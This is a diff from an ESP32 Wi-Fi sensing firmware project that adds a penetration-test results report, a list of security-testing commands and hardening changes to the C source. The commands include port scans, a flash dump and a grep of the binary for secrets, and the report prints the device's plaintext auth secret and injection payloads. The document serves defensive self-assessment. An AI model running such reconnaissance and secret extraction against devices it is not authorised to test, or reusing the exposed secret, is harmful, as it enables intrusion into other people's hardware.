| tx_power | 10 | TX power (dBm) |
|
||||
| rate | 100 | Target CSI rate (Hz) |
|
||||
| csi_rate | 97 | Actual CSI rate (Hz, computed) |
|
||||
| hostname | amber-maple | Device hostname |
|
||||
| version | 27aeddb | Firmware git commit |
|
||||
| adaptive | on/off | Adaptive sampling |
|
||||
| motion | 0/1 | Motion detected |
|
||||
| ble | on/off | BLE scanning |
|
||||
| target | 192.168.129.11:5500 | UDP destination |
|
||||
| temp | 0.0 | Chip temperature (ESP32-S2/C3/C6 only) |
|
||||
| csi_count | 30002 | Total CSI frames since boot |
|
||||
| boots | 3 | Boot count (NVS persisted) |
|
||||
| rssi_min | -71 | Lowest RSSI since boot |
|
||||
| rssi_max | -62 | Highest RSSI since boot |
|
||||
| csi_mode | raw/compact/hybrid | CSI output mode |
|
||||
| hybrid_n | 10 | Raw packet interval (hybrid mode) |
|
||||
| auth | on/off | HMAC command authentication |
|
||||
| flood_thresh | 5/10 | Deauth flood: count/window_seconds |
|
||||
| powersave | on/off | WiFi modem sleep |
|
||||
| presence | on/off | Presence detection |
|
||||
| pr_score | 0.0432 | Current presence score (0 = no change from baseline) |
|
||||
Unauthenticated STATUS returns a minimal subset. Full fields require HMAC auth.
|
||||
|
||||
| Field | Example | Auth | Description |
|
||||
|-------|---------|------|-------------|
|
||||
| hostname | amber-maple | no | Device hostname |
|
||||
| uptime | 1h23m | no | Human-readable uptime |
|
||||
| uptime_s | 4980 | no | Raw uptime in seconds |
|
||||
| rssi | -67 | no | Current AP RSSI (dBm) |
|
||||
| channel | 11 | no | WiFi channel |
|
||||
| version | 27aeddb | no | Firmware git commit |
|
||||
| motion | 0/1 | no | Motion detected |
|
||||
| presence | on/off | no | Presence detection |
|
||||
| heap | 108744 | yes | Free heap bytes |
|
||||
| tx_power | 10 | yes | TX power (dBm) |
|
||||
| rate | 100 | yes | Target CSI rate (Hz) |
|
||||
| csi_rate | 97 | yes | Actual CSI rate (Hz, computed) |
|
||||
| adaptive | on/off | yes | Adaptive sampling |
|
||||
| ble | on/off | yes | BLE scanning |
|
||||
| target | 192.168.129.11:5500 | yes | UDP destination |
|
||||
| temp | 0.0 | yes | Chip temperature (ESP32-S2/C3/C6 only) |
|
||||
| csi_count | 30002 | yes | Total CSI frames since boot |
|
||||
| boots | 3 | yes | Boot count (NVS persisted) |
|
||||
| rssi_min | -71 | yes | Lowest RSSI since boot |
|
||||
| rssi_max | -62 | yes | Highest RSSI since boot |
|
||||
| csi_mode | raw/compact/hybrid | yes | CSI output mode |
|
||||
| hybrid_n | 10 | yes | Raw packet interval (hybrid mode) |
|
||||
| auth | on/off | yes | HMAC command authentication |
|
||||
| flood_thresh | 5/10 | yes | Deauth flood: count/window_seconds |
|
||||
| powersave | on/off | yes | WiFi modem sleep |
|
||||
| pr_score | 0.0432 | yes | Current presence score |
|
||||
|
||||
## PROFILE Sections
|
||||
|
||||
@@ -370,3 +404,24 @@ ls /dev/ttyUSB* /dev/ttyACM* # Find connected devices
|
||||
dmesg | tail # Check USB detection
|
||||
sudo usermod -aG dialout $USER # Fix permissions (re-login)
|
||||
```
|
||||
|
||||
## Security Testing
|
||||
|
||||
```bash
|
||||
# eFuse status (read-only, safe)
|
||||
source ~/esp/esp-idf/export.sh && espefuse.py -p /dev/ttyUSB0 summary
|
||||
|
||||
# NVS dump (read-only)
|
||||
esptool.py -p /dev/ttyUSB0 -b 921600 read_flash 0x9000 0x4000 /tmp/nvs_dump.bin
|
||||
|
||||
# Port scan
|
||||
sudo nmap -sU -p 5500,5501,5353 --open <sensor-ip>
|
||||
sudo nmap -sT -p 1-1000 <sensor-ip>
|
||||
|
||||
# Firmware binary analysis
|
||||
binwalk build/csi_recv_router.bin
|
||||
strings -n 6 build/csi_recv_router.bin | grep -iE 'password|secret|key'
|
||||
```
|
||||
|
||||
Full pentest guide: `docs/PENTEST.md`
|
||||
Pentest results: `docs/PENTEST-RESULTS.md`
|
||||
|
||||
132
docs/PENTEST-RESULTS.md
Normal file
132
docs/PENTEST-RESULTS.md
Normal file
@@ -0,0 +1,132 @@
|
||||
# Pentest Results — ESP32 CSI Sensor Firmware
|
||||
|
||||
**Date:** 2026-02-14
|
||||
**Target:** amber-maple (192.168.129.30), ESP32-D0WD-V3 rev 3.1
|
||||
**Firmware:** v1.11.0-11-ga4bd2a6-dirty (v1.12-dev security hardening)
|
||||
**ESP-IDF:** v5.5.2
|
||||
**Tester:** Raspberry Pi 5 (192.168.129.11), same LAN
|
||||
|
||||
---
|
||||
|
||||
## Results Matrix
|
||||
|
||||
### Phase 1: Passive Reconnaissance
|
||||
|
||||
| # | Test | Status | Notes |
|
||||
|---|------|--------|-------|
|
||||
| 1a | mDNS service discovery | **PASS** | No `_esp-csi._udp` service advertised. Only hostname.local resolves. |
|
||||
| 1b | Port scan (UDP) | **PASS** | Only 5353/udp (mDNS) and 5501/udp (cmd) open. 5500/udp closed (outbound-only). |
|
||||
| 1b | Port scan (TCP) | **PASS** | All 1000 TCP ports closed. Zero TCP attack surface. |
|
||||
| 1c | Firmware strings | **PASS** | No hardcoded secrets, passwords, or embedded private keys. |
|
||||
| 1c | Firmware strings | **WARN** | Hardcoded default IP `192.168.129.11` and hostname `amber-maple` in binary. |
|
||||
| 1c | Entropy analysis | **INFO** | Firmware not flash-encrypted (low entropy). Expected for dev boards. |
|
||||
| 1c | PEM markers | **INFO** | mbedTLS parser constants only, not actual embedded keys. |
|
||||
| 1d | eFuse: JTAG | **WARN** | `JTAG_DISABLE = False` — JTAG debug accessible via GPIO 12-15. |
|
||||
| 1d | eFuse: Secure Boot | **WARN** | `ABS_DONE_0 = False`, `ABS_DONE_1 = False` — no secure boot. |
|
||||
| 1d | eFuse: Flash Encryption | **WARN** | `FLASH_CRYPT_CNT = 0` — flash encryption disabled. |
|
||||
| 1d | eFuse: Download Mode | **WARN** | `DISABLE_DL_ENCRYPT/DECRYPT/CACHE = False` — UART download mode open. |
|
||||
| 1d | eFuse: Coding Scheme | **INFO** | `CODING_SCHEME = NONE` — full 256-bit key space available. |
|
||||
|
||||
### Phase 2: Network Protocol Analysis
|
||||
|
||||
| # | Test | Status | Notes |
|
||||
|---|------|--------|-------|
|
||||
| 2a | Unauth STATUS info leak | **PASS** | Minimal response (hostname, uptime, rssi, channel, version). No secrets. |
|
||||
| 2a | CONFIG info disclosure | **PASS** | Auth secret not exposed in unauthed CONFIG response. |
|
||||
| 2a | HMAC on wire | **INFO** | HMAC tags visible in plaintext UDP (expected — no DTLS). |
|
||||
| 2a | HELP disclosure | **INFO** | Command list visible without auth (by design). |
|
||||
| 2b | HMAC timing oracle | **PASS** | Median diff 144us between test cases — within WiFi jitter. Constant-time comparison effective. |
|
||||
| 2c | Null byte injection | **PASS** | All 17 unauthed injection payloads handled safely. |
|
||||
| 2c | Format string injection | **PASS** | `%x%x%n` payloads rejected; no stack leak. |
|
||||
| 2c | Newline/CRLF injection | **PASS** | Rejected by auth requirement. |
|
||||
| 2c | Oversized packets | **PASS** | MTU-sized and 191-byte packets rejected gracefully. |
|
||||
| 2c | Binary garbage | **PASS** | Random byte payloads handled without crash. |
|
||||
| 2c | HOSTNAME format string | **PASS** | Authed: format strings rejected (timeout, likely sanitized). |
|
||||
| 2c | HOSTNAME oversized | **PASS** | `ERR HOSTNAME length 1-31` — proper validation. |
|
||||
| 2c | HOSTNAME bad chars | **PASS** | `ERR HOSTNAME chars: a-z 0-9 -` — strict allowlist. |
|
||||
| 2c | TARGET format string | **PASS** | `ERR TARGET invalid IP` — proper validation. |
|
||||
| 2c | RATE boundary values | **PASS** | All out-of-range values rejected: `ERR RATE range 10-100`. |
|
||||
| 2d | Valid HMAC command | **PASS** | Authed STATUS returns full response. |
|
||||
| 2d | Immediate replay | **PASS** | `ERR AUTH replay rejected` — nonce dedup works. |
|
||||
| 2d | Expired timestamp (-10s) | **PASS** | `ERR AUTH expired (drift=10s)` — window enforced. |
|
||||
| 2d | Future timestamp (+10s) | **PASS** | `ERR AUTH expired (drift=-10s)` — window enforced. |
|
||||
| 2d | Wrong secret | **PASS** | `ERR AUTH failed` — incorrect HMAC rejected. |
|
||||
| 2d | Nonce cache overflow (9 cmds) | **PASS** | Replay still rejected after flooding cache with 9 unique commands. |
|
||||
|
||||
### Phase 3: Static Analysis
|
||||
|
||||
| # | Test | Status | Notes |
|
||||
|---|------|--------|-------|
|
||||
| 3a | NVS auth_secret storage | **FAIL** | Stored as plaintext string: `86bd963b07858d5b10db839d55b409df` at offset 0x1ba8. |
|
||||
| 3a | NVS WiFi credentials | **PASS** | No WiFi SSID/password found in NVS dump (compiled-in via sdkconfig). |
|
||||
| 3a | NVS integrity | **WARN** | 2 of 6 pages have invalid CRC (uninitialized, not corruption). |
|
||||
| 3a | Boot history | **INFO** | `boot_count = 25` visible — leaks reboot frequency. |
|
||||
| 3b | CVE exposure (12 checked) | **PASS** | 8 CVEs not applicable (unused components). 4 LOW risk (BLE scan-only mitigates). |
|
||||
| 3b | CVE-2025-27840 (HCI cmds) | **LOW** | Hidden HCI commands; mitigated by scan-only BLE mode. |
|
||||
| 3b | Unused `#include "esp_now.h"` | **INFO** | Dead include — remove to avoid link to CVE-2025-52471. |
|
||||
| 3c | Stack canaries | **FAIL** | `CONFIG_COMPILER_STACK_CHECK_MODE_NONE=y` — no stack overflow protection. |
|
||||
| 3c | Heap poisoning | **WARN** | `CONFIG_HEAP_POISONING_DISABLED=y` — no heap corruption detection. |
|
||||
| 3c | PMF configuration | **PASS** | `CONFIG_ESP_WIFI_PMF_REQUIRED=y` — 802.11w enforced. |
|
||||
| 3c | Debug symbols in ELF | **INFO** | ELF has full debug info (11.9 MB). `.bin` for OTA is stripped. |
|
||||
| 3c | cmd_task size | **INFO** | 9,877 bytes compiled — large function handling untrusted input. |
|
||||
| 3c | Watchdog | **PASS** | Bootloader, interrupt, and task WDTs all enabled. |
|
||||
|
||||
---
|
||||
|
||||
## Risk Assessment
|
||||
|
||||
### Critical (requires physical access)
|
||||
|
||||
| Risk | Impact | Mitigation |
|
||||
|------|--------|------------|
|
||||
| No flash encryption | Auth secret + WiFi creds readable from flash | Enable `CONFIG_FLASH_ENCRYPTION_ENABLED` (irreversible eFuse) |
|
||||
| No secure boot | Arbitrary firmware flashable via UART/OTA | Enable Secure Boot V2 (irreversible eFuse) |
|
||||
| JTAG enabled | Live memory inspection, breakpoints | Burn `JTAG_DISABLE` eFuse (irreversible) |
|
||||
| NVS plaintext | `auth_secret` in cleartext NVS | Flash encryption covers this |
|
||||
|
||||
### Medium (network-accessible)
|
||||
|
||||
| Risk | Impact | Mitigation |
|
||||
|------|--------|------------|
|
||||
| No DTLS | HMAC tokens visible to LAN sniffers | Implement DTLS for command channel |
|
||||
| No stack canaries | Buffer overflow in cmd_task could be exploitable | Enable `CONFIG_COMPILER_STACK_CHECK_MODE_NORM` |
|
||||
| OTA over HTTP | MITM firmware injection on LAN | Embed CA cert, enforce HTTPS OTA |
|
||||
|
||||
### Low / Informational
|
||||
|
||||
| Risk | Impact | Mitigation |
|
||||
|------|--------|------------|
|
||||
| Hardcoded default IP | Network topology leak in binary | Move to Kconfig or NVS-only default |
|
||||
| Version string leaks git hash | Aids targeted attacks | Use clean tag-only version strings |
|
||||
| HELP visible without auth | Command enumeration | By design — acceptable |
|
||||
| Uptime in unauthed STATUS | Aids HMAC timestamp prediction | Already in minimal STATUS by design |
|
||||
|
||||
---
|
||||
|
||||
## Security Hardening Scorecard
|
||||
|
||||
| Category | Score | Notes |
|
||||
|----------|-------|-------|
|
||||
| **Authentication** | 9/10 | HMAC-SHA256, replay protection, nonce cache, rate limiting. Only gap: no mutual auth. |
|
||||
| **Input Validation** | 10/10 | All 27 injection tests passed. Strict allowlists on HOSTNAME, RATE, TARGET, POWER. |
|
||||
| **Network Exposure** | 8/10 | Minimal ports, PMF required, service ads removed. Gap: plaintext UDP. |
|
||||
| **Physical Security** | 2/10 | No secure boot, no flash encryption, JTAG open, UART download mode open. |
|
||||
| **Binary Security** | 4/10 | No stack canaries, no heap poisoning. WDTs present. |
|
||||
| **CVE Exposure** | 9/10 | Minimal attack surface; unused components disabled; v5.5.2 patches applied. |
|
||||
|
||||
**Overall: Strong network security, weak physical security.**
|
||||
The firmware is well-hardened against remote/network attacks. Physical access remains the primary threat vector.
|
||||
|
||||
---
|
||||
|
||||
## Recommendations (Priority Order)
|
||||
|
||||
1. **P1** — Enable stack canaries: `CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y`
|
||||
2. **P1** — Enable heap poisoning: `CONFIG_HEAP_POISONING_LIGHT=y`
|
||||
3. **P2** — Enable WDT panic: `CONFIG_ESP_TASK_WDT_PANIC=y`
|
||||
4. **P2** — Remove unused `#include "esp_now.h"`
|
||||
5. **P2** — Remove hardcoded default IP from binary
|
||||
6. **P3** — Flash encryption (requires eFuse planning)
|
||||
7. **P3** — Secure Boot V2 (requires eFuse planning)
|
||||
8. **P3** — DTLS for command channel (significant effort)
|
||||
9. **P3** — OTA certificate pinning
|
||||
1578
docs/PENTEST.md
Normal file
1578
docs/PENTEST.md
Normal file
File diff suppressed because it is too large
Load Diff
@@ -2,9 +2,10 @@ menu "CSI UDP Configuration"
|
||||
|
||||
config CSI_UDP_TARGET_IP
|
||||
string "UDP target IP address"
|
||||
default "192.168.129.11"
|
||||
default "0.0.0.0"
|
||||
help
|
||||
IP address of the host receiving CSI data (e.g., Raspberry Pi).
|
||||
Set to 0.0.0.0 to disable sending until configured via TARGET command.
|
||||
|
||||
config CSI_UDP_TARGET_PORT
|
||||
int "UDP target port"
|
||||
|
||||
@@ -28,13 +28,14 @@
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_netif.h"
|
||||
#include "esp_now.h"
|
||||
#include "esp_timer.h"
|
||||
#include "esp_task_wdt.h"
|
||||
#include "esp_pm.h"
|
||||
#include "esp_heap_caps.h"
|
||||
#include "esp_random.h"
|
||||
#include "esp_ota_ops.h"
|
||||
#include "esp_https_ota.h"
|
||||
#include "esp_crt_bundle.h"
|
||||
#include "esp_partition.h"
|
||||
#include "esp_chip_info.h"
|
||||
#include "esp_http_client.h"
|
||||
@@ -90,7 +91,7 @@ static int s_send_frequency = CONFIG_SEND_FREQUENCY_DEFAULT;
|
||||
static int8_t s_tx_power_dbm = 10;
|
||||
static esp_ping_handle_t s_ping_handle = NULL;
|
||||
static volatile led_mode_t s_led_mode = LED_OFF;
|
||||
static bool s_led_quiet = false; /* quiet mode: off normally, solid on motion/presence */
|
||||
static bool s_led_quiet = true; /* quiet mode: off normally, solid on motion/presence */
|
||||
static volatile int64_t s_last_csi_time = 0;
|
||||
static volatile int64_t s_identify_end_time = 0;
|
||||
static volatile bool s_ota_in_progress = false;
|
||||
@@ -100,6 +101,9 @@ static volatile int8_t s_rssi_min = 0;
|
||||
static volatile int8_t s_rssi_max = -128;
|
||||
static uint32_t s_boot_count = 0;
|
||||
|
||||
/* CSI collection toggle */
|
||||
static bool s_csi_enabled = true;
|
||||
|
||||
/* CSI output mode */
|
||||
typedef enum {
|
||||
CSI_MODE_RAW = 0,
|
||||
@@ -208,8 +212,19 @@ static int64_t s_chanscan_last = 0;
|
||||
#define PROBE_DEDUP_DEFAULT_US 10000000LL
|
||||
static int64_t s_probe_dedup_us = PROBE_DEDUP_DEFAULT_US;
|
||||
|
||||
/* Alert thresholds (0 = disabled) */
|
||||
#define ALERT_HOLDOFF_US 60000000LL /* 60s debounce between alerts */
|
||||
static float s_alert_temp_thresh = 0.0f; /* celsius, e.g. 70.0 */
|
||||
static uint32_t s_alert_heap_thresh = 0; /* bytes, e.g. 30000 */
|
||||
#if SOC_TEMP_SENSOR_SUPPORTED
|
||||
static int64_t s_alert_temp_last = 0;
|
||||
#endif
|
||||
static int64_t s_alert_heap_last = 0;
|
||||
|
||||
/* --- NVS helpers --- */
|
||||
|
||||
static esp_err_t config_save_str(const char *key, const char *value);
|
||||
|
||||
static void config_load_nvs(void)
|
||||
{
|
||||
/* Start with Kconfig defaults */
|
||||
@@ -306,15 +321,40 @@ static void config_load_nvs(void)
|
||||
if (nvs_get_i8(h, "led_quiet", &led_quiet) == ESP_OK) {
|
||||
s_led_quiet = (led_quiet != 0);
|
||||
}
|
||||
int8_t csi_en;
|
||||
if (nvs_get_i8(h, "csi_enabled", &csi_en) == ESP_OK) {
|
||||
s_csi_enabled = (csi_en != 0);
|
||||
}
|
||||
int32_t alert_temp;
|
||||
if (nvs_get_i32(h, "alert_temp", &alert_temp) == ESP_OK && alert_temp > 0) {
|
||||
s_alert_temp_thresh = (float)alert_temp / 10.0f; /* stored as 10ths of degree */
|
||||
}
|
||||
int32_t alert_heap;
|
||||
if (nvs_get_i32(h, "alert_heap", &alert_heap) == ESP_OK && alert_heap > 0) {
|
||||
s_alert_heap_thresh = (uint32_t)alert_heap;
|
||||
}
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "NVS loaded: hostname=%s rate=%d tx_power=%d adaptive=%d threshold=%.6f ble=%d target=%s:%d csi_mode=%d hybrid_n=%d powersave=%d presence=%d pr_thresh=%.4f baseline_nsub=%d led_quiet=%d",
|
||||
ESP_LOGI(TAG, "NVS loaded: hostname=%s rate=%d tx_power=%d adaptive=%d threshold=%.6f ble=%d target=%s:%d csi_mode=%d hybrid_n=%d powersave=%d presence=%d pr_thresh=%.4f baseline_nsub=%d led_quiet=%d csi=%d alert_temp=%.1f alert_heap=%lu",
|
||||
s_hostname, s_send_frequency, s_tx_power_dbm, s_adaptive, s_motion_threshold, s_ble_enabled,
|
||||
s_target_ip, s_target_port, (int)s_csi_mode, s_hybrid_interval, s_powersave,
|
||||
s_presence_enabled, s_pr_threshold, s_baseline_nsub, s_led_quiet);
|
||||
s_presence_enabled, s_pr_threshold, s_baseline_nsub, s_led_quiet, s_csi_enabled,
|
||||
s_alert_temp_thresh, (unsigned long)s_alert_heap_thresh);
|
||||
} else {
|
||||
ESP_LOGI(TAG, "NVS: no saved config, using defaults");
|
||||
}
|
||||
|
||||
/* Auto-generate auth secret on first boot */
|
||||
if (s_auth_secret[0] == '\0') {
|
||||
uint8_t rand_bytes[16];
|
||||
esp_fill_random(rand_bytes, sizeof(rand_bytes));
|
||||
for (int i = 0; i < 16; i++) {
|
||||
snprintf(s_auth_secret + i * 2, 3, "%02x", rand_bytes[i]);
|
||||
}
|
||||
s_auth_secret[32] = '\0';
|
||||
config_save_str("auth_secret", s_auth_secret);
|
||||
ESP_LOGW(TAG, "AUTH: secret generated (%.4s... — retrieve via serial or NVS)", s_auth_secret);
|
||||
}
|
||||
|
||||
/* Boot counter — always increment, even on first boot */
|
||||
nvs_handle_t bh;
|
||||
if (nvs_open("csi_config", NVS_READWRITE, &bh) == ESP_OK) {
|
||||
@@ -328,8 +368,31 @@ static void config_load_nvs(void)
|
||||
}
|
||||
}
|
||||
|
||||
/* NVS write throttle: max 20 writes per 10s to prevent flash wear attacks */
|
||||
#define NVS_WRITES_MAX 20
|
||||
#define NVS_WINDOW_US 10000000LL
|
||||
|
||||
static int64_t s_nvs_window_start = 0;
|
||||
static int s_nvs_window_writes = 0;
|
||||
|
||||
static bool nvs_write_throttle(void)
|
||||
{
|
||||
int64_t now = esp_timer_get_time();
|
||||
if (now - s_nvs_window_start > NVS_WINDOW_US) {
|
||||
s_nvs_window_start = now;
|
||||
s_nvs_window_writes = 0;
|
||||
}
|
||||
if (s_nvs_window_writes >= NVS_WRITES_MAX) {
|
||||
ESP_LOGW(TAG, "NVS write throttled");
|
||||
return false;
|
||||
}
|
||||
s_nvs_window_writes++;
|
||||
return true;
|
||||
}
|
||||
|
||||
static esp_err_t config_save_i32(const char *key, int32_t value)
|
||||
{
|
||||
if (!nvs_write_throttle()) return ESP_ERR_INVALID_STATE;
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open("csi_config", NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
@@ -341,6 +404,7 @@ static esp_err_t config_save_i32(const char *key, int32_t value)
|
||||
|
||||
static esp_err_t config_save_i8(const char *key, int8_t value)
|
||||
{
|
||||
if (!nvs_write_throttle()) return ESP_ERR_INVALID_STATE;
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open("csi_config", NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
@@ -352,6 +416,7 @@ static esp_err_t config_save_i8(const char *key, int8_t value)
|
||||
|
||||
static esp_err_t config_save_str(const char *key, const char *value)
|
||||
{
|
||||
if (!nvs_write_throttle()) return ESP_ERR_INVALID_STATE;
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open("csi_config", NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
@@ -363,6 +428,7 @@ static esp_err_t config_save_str(const char *key, const char *value)
|
||||
|
||||
static esp_err_t config_save_blob(const char *key, const void *data, size_t len)
|
||||
{
|
||||
if (!nvs_write_throttle()) return ESP_ERR_INVALID_STATE;
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open("csi_config", NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
@@ -374,6 +440,7 @@ static esp_err_t config_save_blob(const char *key, const void *data, size_t len)
|
||||
|
||||
static esp_err_t config_erase_key(const char *key)
|
||||
{
|
||||
if (!nvs_write_throttle()) return ESP_ERR_INVALID_STATE;
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open("csi_config", NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
@@ -536,6 +603,10 @@ static void wifi_csi_rx_cb(void *ctx, wifi_csi_info_t *info)
|
||||
return;
|
||||
}
|
||||
|
||||
if (!s_csi_enabled) {
|
||||
return;
|
||||
}
|
||||
|
||||
s_last_csi_time = esp_timer_get_time();
|
||||
|
||||
const wifi_pkt_rx_ctrl_t *rx_ctrl = &info->rx_ctrl;
|
||||
@@ -631,24 +702,29 @@ static void wifi_csi_rx_cb(void *ctx, wifi_csi_info_t *info)
|
||||
rx_ctrl->timestamp, rx_ctrl->ant, rx_ctrl->sig_len, rx_ctrl->rx_state);
|
||||
#endif
|
||||
|
||||
/* Helper: remaining space in s_udp_buffer (clamped to 0) */
|
||||
#define UDP_REM(p) ((p) < (int)sizeof(s_udp_buffer) ? sizeof(s_udp_buffer) - (p) : 0)
|
||||
|
||||
if (send_raw) {
|
||||
/* Raw I/Q array payload */
|
||||
#if (CONFIG_IDF_TARGET_ESP32C5 || CONFIG_IDF_TARGET_ESP32C61) && CSI_FORCE_LLTF
|
||||
int16_t csi = ((int16_t)(((((uint16_t)info->buf[1]) << 8) | info->buf[0]) << 4) >> 4);
|
||||
pos += snprintf(s_udp_buffer + pos, sizeof(s_udp_buffer) - pos,
|
||||
pos += snprintf(s_udp_buffer + pos, UDP_REM(pos),
|
||||
",%d,%d,\"[%d", (info->len - 2) / 2, info->first_word_invalid, (int16_t)(compensate_gain * csi));
|
||||
for (int i = 2; i < (info->len - 2); i += 2) {
|
||||
for (int i = 2; i < (info->len - 2) && pos < (int)sizeof(s_udp_buffer) - 8; i += 2) {
|
||||
csi = ((int16_t)(((((uint16_t)info->buf[i + 1]) << 8) | info->buf[i]) << 4) >> 4);
|
||||
pos += snprintf(s_udp_buffer + pos, sizeof(s_udp_buffer) - pos, ",%d", (int16_t)(compensate_gain * csi));
|
||||
pos += snprintf(s_udp_buffer + pos, UDP_REM(pos), ",%d", (int16_t)(compensate_gain * csi));
|
||||
}
|
||||
#else
|
||||
pos += snprintf(s_udp_buffer + pos, sizeof(s_udp_buffer) - pos,
|
||||
pos += snprintf(s_udp_buffer + pos, UDP_REM(pos),
|
||||
",%d,%d,\"[%d", info->len, info->first_word_invalid, (int16_t)(compensate_gain * info->buf[0]));
|
||||
for (int i = 1; i < info->len; i++) {
|
||||
pos += snprintf(s_udp_buffer + pos, sizeof(s_udp_buffer) - pos, ",%d", (int16_t)(compensate_gain * info->buf[i]));
|
||||
for (int i = 1; i < info->len && pos < (int)sizeof(s_udp_buffer) - 8; i++) {
|
||||
pos += snprintf(s_udp_buffer + pos, UDP_REM(pos), ",%d", (int16_t)(compensate_gain * info->buf[i]));
|
||||
}
|
||||
#endif
|
||||
pos += snprintf(s_udp_buffer + pos, sizeof(s_udp_buffer) - pos, "]\"\n");
|
||||
if (pos < (int)sizeof(s_udp_buffer) - 4) {
|
||||
pos += snprintf(s_udp_buffer + pos, UDP_REM(pos), "]\"\n");
|
||||
}
|
||||
} else {
|
||||
/* Compact feature payload */
|
||||
pos += snprintf(s_udp_buffer + pos, sizeof(s_udp_buffer) - pos,
|
||||
@@ -658,6 +734,9 @@ static void wifi_csi_rx_cb(void *ctx, wifi_csi_info_t *info)
|
||||
(unsigned)features.amp_max_idx, (unsigned long)features.energy);
|
||||
}
|
||||
|
||||
/* Clamp pos to buffer size */
|
||||
if (pos > (int)sizeof(s_udp_buffer)) pos = (int)sizeof(s_udp_buffer);
|
||||
|
||||
/* Send via UDP */
|
||||
if (s_udp_socket >= 0) {
|
||||
sendto(s_udp_socket, s_udp_buffer, pos, 0, (struct sockaddr *)&s_dest_addr, sizeof(s_dest_addr));
|
||||
@@ -740,8 +819,12 @@ static void udp_socket_init(void)
|
||||
s_dest_addr.sin_port = htons(s_target_port);
|
||||
inet_pton(AF_INET, s_target_ip, &s_dest_addr.sin_addr);
|
||||
|
||||
ESP_LOGI(TAG, "UDP socket initialized, sending to %s:%d",
|
||||
s_target_ip, s_target_port);
|
||||
if (strcmp(s_target_ip, "0.0.0.0") == 0) {
|
||||
ESP_LOGW(TAG, "No UDP target configured — use TARGET command to set destination");
|
||||
} else {
|
||||
ESP_LOGI(TAG, "UDP socket initialized, sending to %s:%d",
|
||||
s_target_ip, s_target_port);
|
||||
}
|
||||
}
|
||||
|
||||
/* --- Ping --- */
|
||||
@@ -922,9 +1005,15 @@ static void adaptive_task(void *arg)
|
||||
if (s_calibrating && s_calib_count >= (uint32_t)s_calib_target) {
|
||||
int nsub = s_calib_nsub;
|
||||
uint32_t count = s_calib_count;
|
||||
/* Stage baseline in local buffer to avoid partial reads from CSI callback */
|
||||
float staged[BASELINE_MAX_SUBS];
|
||||
for (int i = 0; i < nsub; i++) {
|
||||
s_baseline_amps[i] = s_calib_accum[i] / (float)count;
|
||||
staged[i] = s_calib_accum[i] / (float)count;
|
||||
}
|
||||
/* Atomically gate: zero nsub first, copy, then set nsub */
|
||||
s_baseline_nsub = 0;
|
||||
if (nsub > 0)
|
||||
memcpy(s_baseline_amps, staged, nsub * sizeof(float));
|
||||
s_baseline_nsub = nsub;
|
||||
config_save_blob("bl_amps", s_baseline_amps, nsub * sizeof(float));
|
||||
config_save_i8("bl_nsub", (int8_t)nsub);
|
||||
@@ -981,6 +1070,53 @@ static void adaptive_task(void *arg)
|
||||
}
|
||||
}
|
||||
|
||||
/* Alert threshold checks */
|
||||
{
|
||||
int64_t now_alert = esp_timer_get_time();
|
||||
|
||||
/* Heap alert */
|
||||
if (s_alert_heap_thresh > 0) {
|
||||
uint32_t free_heap = esp_get_free_heap_size();
|
||||
if (free_heap < s_alert_heap_thresh &&
|
||||
(now_alert - s_alert_heap_last) > ALERT_HOLDOFF_US) {
|
||||
s_alert_heap_last = now_alert;
|
||||
char event[128];
|
||||
int len = snprintf(event, sizeof(event),
|
||||
"EVENT,%s,alert=heap free=%lu thresh=%lu",
|
||||
s_hostname, (unsigned long)free_heap,
|
||||
(unsigned long)s_alert_heap_thresh);
|
||||
if (s_udp_socket >= 0) {
|
||||
sendto(s_udp_socket, event, len, 0,
|
||||
(struct sockaddr *)&s_dest_addr, sizeof(s_dest_addr));
|
||||
}
|
||||
ESP_LOGW(TAG, "ALERT: heap low (%lu < %lu)",
|
||||
(unsigned long)free_heap, (unsigned long)s_alert_heap_thresh);
|
||||
}
|
||||
}
|
||||
|
||||
/* Temperature alert */
|
||||
#if SOC_TEMP_SENSOR_SUPPORTED
|
||||
if (s_alert_temp_thresh > 0.0f && s_temp_handle) {
|
||||
float temp = 0.0f;
|
||||
if (temperature_sensor_get_celsius(s_temp_handle, &temp) == ESP_OK &&
|
||||
temp > s_alert_temp_thresh &&
|
||||
(now_alert - s_alert_temp_last) > ALERT_HOLDOFF_US) {
|
||||
s_alert_temp_last = now_alert;
|
||||
char event[128];
|
||||
int len = snprintf(event, sizeof(event),
|
||||
"EVENT,%s,alert=temp value=%.1f thresh=%.1f",
|
||||
s_hostname, temp, s_alert_temp_thresh);
|
||||
if (s_udp_socket >= 0) {
|
||||
sendto(s_udp_socket, event, len, 0,
|
||||
(struct sockaddr *)&s_dest_addr, sizeof(s_dest_addr));
|
||||
}
|
||||
ESP_LOGW(TAG, "ALERT: temp high (%.1f > %.1f)",
|
||||
temp, s_alert_temp_thresh);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
if (!s_adaptive || s_energy_idx < WANDER_WINDOW) continue;
|
||||
|
||||
/* Compute mean */
|
||||
@@ -1101,6 +1237,7 @@ static void ota_task(void *arg)
|
||||
esp_http_client_config_t http_cfg = {
|
||||
.url = url,
|
||||
.timeout_ms = 30000,
|
||||
.crt_bundle_attach = esp_crt_bundle_attach,
|
||||
};
|
||||
|
||||
esp_https_ota_config_t ota_cfg = {
|
||||
@@ -1263,6 +1400,9 @@ static void wifi_promiscuous_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
/* Dedup: skip if this MAC was reported recently */
|
||||
if (probe_dedup_check(hdr->addr2)) return;
|
||||
|
||||
/* Validate frame length before accessing body */
|
||||
if (pkt->rx_ctrl.sig_len < sizeof(wifi_ieee80211_mac_hdr_t) + 2) return;
|
||||
|
||||
/* Parse SSID from tagged parameters after MAC header */
|
||||
